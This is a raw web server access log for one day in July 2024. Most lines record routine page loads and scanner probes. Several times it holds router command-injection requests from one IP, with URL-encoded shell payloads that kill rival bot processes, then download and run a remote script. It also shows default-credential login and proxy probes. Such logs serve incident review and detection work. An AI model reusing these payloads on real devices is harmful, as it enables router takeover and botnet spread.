45.148.10.202 - - [13/Jul/2024:00:01:06 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 1013 45.148.10.202 - - [13/Jul/2024:00:01:06 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+wget.sh%3B+wget+http%3A%2F%2F87.121.112.42%2Fwget.sh%3B+chmod+777+wget.sh%3B+.%2Fwget.sh+tplink%3B+rm+-rf+wget.sh%60) HTTP/1.1" 404 1013 190.20.125.69 - - [13/Jul/2024:01:02:03 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1773 190.20.125.69 - - [13/Jul/2024:01:02:03 -0300] "GET /cormun/static/gxtimezone.js?85251 HTTP/1.1" 200 5781 190.20.125.69 - - [13/Jul/2024:01:02:03 -0300] "GET /cormun/static/Resources/Spanish/PXTools.css?1759030 HTTP/1.1" 200 100853 190.20.125.69 - - [13/Jul/2024:01:02:03 -0300] "GET /cormun/static/gxpopupSD.js?85251 HTTP/1.1" 200 22377 190.20.125.69 - - [13/Jul/2024:01:02:03 -0300] "GET /cormun/static/gxtypesSD.js?85251 HTTP/1.1" 200 24551 190.20.125.69 - - [13/Jul/2024:01:02:03 -0300] "GET /cormun/static/gxfxSD.js?85251 HTTP/1.1" 200 15384 190.20.125.69 - - [13/Jul/2024:01:02:03 -0300] "GET /cormun/static/gxhtmlSD.js?85251 HTTP/1.1" 200 50424 190.20.125.69 - - [13/Jul/2024:01:02:03 -0300] "GET /cormun/static/JavaScripTableSD.js?85251 HTTP/1.1" 200 25100 190.20.125.69 - - [13/Jul/2024:01:02:03 -0300] "GET /cormun/static/gxapiSD.js?85251 HTTP/1.1" 200 78773 190.20.125.69 - - [13/Jul/2024:01:02:03 -0300] "GET /cormun/static/gxgridSD.js?85251 HTTP/1.1" 200 50735 190.20.125.69 - - [13/Jul/2024:01:02:03 -0300] "GET /cormun/static/gxgralSD.js?85251 HTTP/1.1" 200 20927 190.20.125.69 - - [13/Jul/2024:01:02:03 -0300] "GET /cormun/static/rijndaelSD.js?85251 HTTP/1.1" 200 6763 190.20.125.69 - - [13/Jul/2024:01:02:03 -0300] "GET /cormun/static/gxcfg.js?85251 HTTP/1.1" 200 953 190.20.125.69 - - [13/Jul/2024:01:02:03 -0300] "GET /cormun/static/messages.spa.js?85251 HTTP/1.1" 200 30736 190.20.125.69 - - [13/Jul/2024:01:02:03 -0300] "GET /cormun/static/hlogin.js?2022112219184458 HTTP/1.1" 200 2156 190.20.125.69 - - [13/Jul/2024:01:02:03 -0300] "GET /cormun/static/gxfrmutlSD.js?85251 HTTP/1.1" 200 89044 190.20.125.69 - - [13/Jul/2024:01:02:03 -0300] "GET /cormun/static/Resources/CormunLogin.png HTTP/1.1" 200 19132 190.20.125.69 - - [13/Jul/2024:01:02:04 -0300] "GET /cormun/static/Resources/PXToolsLoginTop.png HTTP/1.1" 200 1337 190.20.125.69 - - [13/Jul/2024:01:02:04 -0300] "GET /cormun/static/Resources/indicator.gif HTTP/1.1" 200 1553 190.20.125.69 - - [13/Jul/2024:01:02:04 -0300] "GET /cormun/static/Resources/PXToolsLoginBottom.png HTTP/1.1" 200 1389 190.20.125.69 - - [13/Jul/2024:01:02:04 -0300] "GET /cormun/static/Resources/PXToolsButtonBackground.png HTTP/1.1" 200 1176 190.20.125.69 - - [13/Jul/2024:01:02:04 -0300] "GET /cormun/static/Resources/PXToolsButtonRight.png HTTP/1.1" 200 1294 190.20.125.69 - - [13/Jul/2024:01:02:04 -0300] "GET /cormun/static/Resources/PXToolsLoginBackground.png HTTP/1.1" 200 1164 190.20.125.69 - - [13/Jul/2024:01:02:04 -0300] "GET /cormun/static/Resources/PXToolsButtonLeft.png HTTP/1.1" 200 1310 190.20.125.69 - - [13/Jul/2024:01:02:04 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1783 190.20.125.69 - - [13/Jul/2024:01:02:04 -0300] "GET /cormun/static/Resources/indicator.gif HTTP/1.1" 200 1553 190.20.125.69 - - [13/Jul/2024:01:02:04 -0300] "GET /cormun/static/Resources/PXToolsLoginTop.png HTTP/1.1" 200 1337 190.20.125.69 - - [13/Jul/2024:01:02:04 -0300] "GET /cormun/static/Resources/PXToolsLoginBackground.png HTTP/1.1" 200 1164 190.20.125.69 - - [13/Jul/2024:01:02:04 -0300] "GET /cormun/static/Resources/PXToolsButtonLeft.png HTTP/1.1" 200 1310 190.20.125.69 - - [13/Jul/2024:01:02:04 -0300] "GET /cormun/static/Resources/PXToolsButtonRight.png HTTP/1.1" 200 1294 190.20.125.69 - - [13/Jul/2024:01:02:04 -0300] "GET /cormun/static/Resources/PXToolsButtonBackground.png HTTP/1.1" 200 1176 190.20.125.69 - - [13/Jul/2024:01:02:04 -0300] "GET /cormun/static/Resources/PXToolsLoginBottom.png HTTP/1.1" 200 1389 190.20.125.69 - - [13/Jul/2024:01:02:04 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 117.219.39.217 - - [13/Jul/2024:02:16:00 -0300] "GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0" 404 1007 134.209.184.220 - - [13/Jul/2024:02:22:06 -0300] "-" 400 - 138.68.172.99 - - [13/Jul/2024:02:24:53 -0300] "GET / HTTP/1.0" 200 11197 167.172.54.74 - - [13/Jul/2024:02:52:29 -0300] "GET / HTTP/1.0" 200 11197 198.235.24.234 - - [13/Jul/2024:03:07:08 -0300] "îê8pš%µ­rJpDàˆYÞîiH1Y¾j+D¿IÆò å¬iy¶L展áí$å->ço»jSbŽ0î®}°Ó5§&À+À/À,À0̨̩À ÀÀ" 400 - 198.235.24.234 - - [13/Jul/2024:03:07:09 -0300] "ÊÆóSÁíñ¤R&ñfɽÒáÎåÄPðwmb)R™ÑzbìhÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ " 400 - 45.148.10.202 - - [13/Jul/2024:06:04:00 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 1013 45.148.10.202 - - [13/Jul/2024:06:04:00 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+wget.sh%3B+wget+http%3A%2F%2F87.121.112.42%2Fwget.sh%3B+chmod+777+wget.sh%3B+.%2Fwget.sh+tplink%3B+rm+-rf+wget.sh%60) HTTP/1.1" 404 1013 68.69.186.202 - - [13/Jul/2024:06:05:44 -0300] "CONNECT check-host.net:443 HTTP/1.1" 400 - 40.85.155.234 - - [13/Jul/2024:06:46:53 -0300] "-" 400 - 205.210.31.249 - - [13/Jul/2024:06:50:14 -0300] "GET / HTTP/1.1" 200 11217 45.148.10.202 - - [13/Jul/2024:09:06:10 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 1013 45.148.10.202 - - [13/Jul/2024:09:06:10 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+wget.sh%3B+wget+http%3A%2F%2F87.121.112.42%2Fwget.sh%3B+chmod+777+wget.sh%3B+.%2Fwget.sh+tplink%3B+rm+-rf+wget.sh%60) HTTP/1.1" 404 1013 167.94.146.48 - - [13/Jul/2024:09:25:26 -0300] "GET / HTTP/1.1" 200 11217 167.94.146.48 - - [13/Jul/2024:09:25:30 -0300] "GET / HTTP/1.1" 200 11217 167.94.146.48 - - [13/Jul/2024:09:25:30 -0300] "PRI * HTTP/2.0" 505 - 167.94.146.48 - - [13/Jul/2024:09:25:31 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 103.148.49.233 - - [13/Jul/2024:11:57:12 -0300] "GET / HTTP/1.1" 200 11217 87.236.176.232 - - [13/Jul/2024:11:57:40 -0300] "GET / HTTP/1.1" 200 11217 87.236.176.21 - - [13/Jul/2024:11:57:41 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 193.227.197.88 - - [13/Jul/2024:13:19:16 -0300] "GET / HTTP/1.0" 200 11197 106.75.67.227 - - [13/Jul/2024:13:24:11 -0300] "GET / HTTP/1.1" 200 11217 78.108.177.54 - - [13/Jul/2024:13:27:01 -0300] "GET / HTTP/1.0" 200 11197 198.235.24.72 - - [13/Jul/2024:15:12:04 -0300] "-" 400 - 198.235.24.72 - - [13/Jul/2024:15:12:04 -0300] "ÊÆý{ ¹Ì¨-.M¢ö¼[ÕÝÛ±¹hIÛÏöošè©?hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ " 400 - 45.148.10.202 - - [13/Jul/2024:15:42:01 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 1013 45.148.10.202 - - [13/Jul/2024:15:42:02 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+wget.sh%3B+wget+http%3A%2F%2F87.121.112.42%2Fwget.sh%3B+chmod+777+wget.sh%3B+.%2Fwget.sh+tplink%3B+rm+-rf+wget.sh%60) HTTP/1.1" 404 1013 45.156.129.48 - - [13/Jul/2024:16:16:53 -0300] "GET / HTTP/1.1" 200 11217 205.210.31.147 - - [13/Jul/2024:17:33:20 -0300] "GET / HTTP/1.0" 200 11197 218.102.12.49 - - [13/Jul/2024:17:58:46 -0300] "GET / HTTP/1.0" 200 11197 87.251.64.129 - - [13/Jul/2024:18:17:26 -0300] "/*àCookie: mstshash=Administr " 400 - 167.94.138.119 - - [13/Jul/2024:18:34:47 -0300] "GET / HTTP/1.1" 200 11217 167.94.138.119 - - [13/Jul/2024:18:34:50 -0300] "GET / HTTP/1.1" 200 11217 167.94.138.119 - - [13/Jul/2024:18:34:50 -0300] "PRI * HTTP/2.0" 505 - 167.94.138.119 - - [13/Jul/2024:18:34:51 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 94.156.64.113 - - [13/Jul/2024:19:56:19 -0300] "CONNECT 193.149.189.126:7227 HTTP/1.1" 400 - 78.108.177.54 - - [13/Jul/2024:20:11:59 -0300] "GET / HTTP/1.0" 200 11197 104.40.74.245 - - [13/Jul/2024:21:53:17 -0300] "GET / HTTP/1.1" 200 11217 205.210.31.108 - - [13/Jul/2024:22:33:25 -0300] "GET / HTTP/1.1" 200 11217 45.148.10.202 - - [13/Jul/2024:22:55:12 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 1013 45.148.10.202 - - [13/Jul/2024:22:55:13 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+wget.sh%3B+wget+http%3A%2F%2F87.121.112.42%2Fwget.sh%3B+chmod+777+wget.sh%3B+.%2Fwget.sh+tplink%3B+rm+-rf+wget.sh%60) HTTP/1.1" 404 1013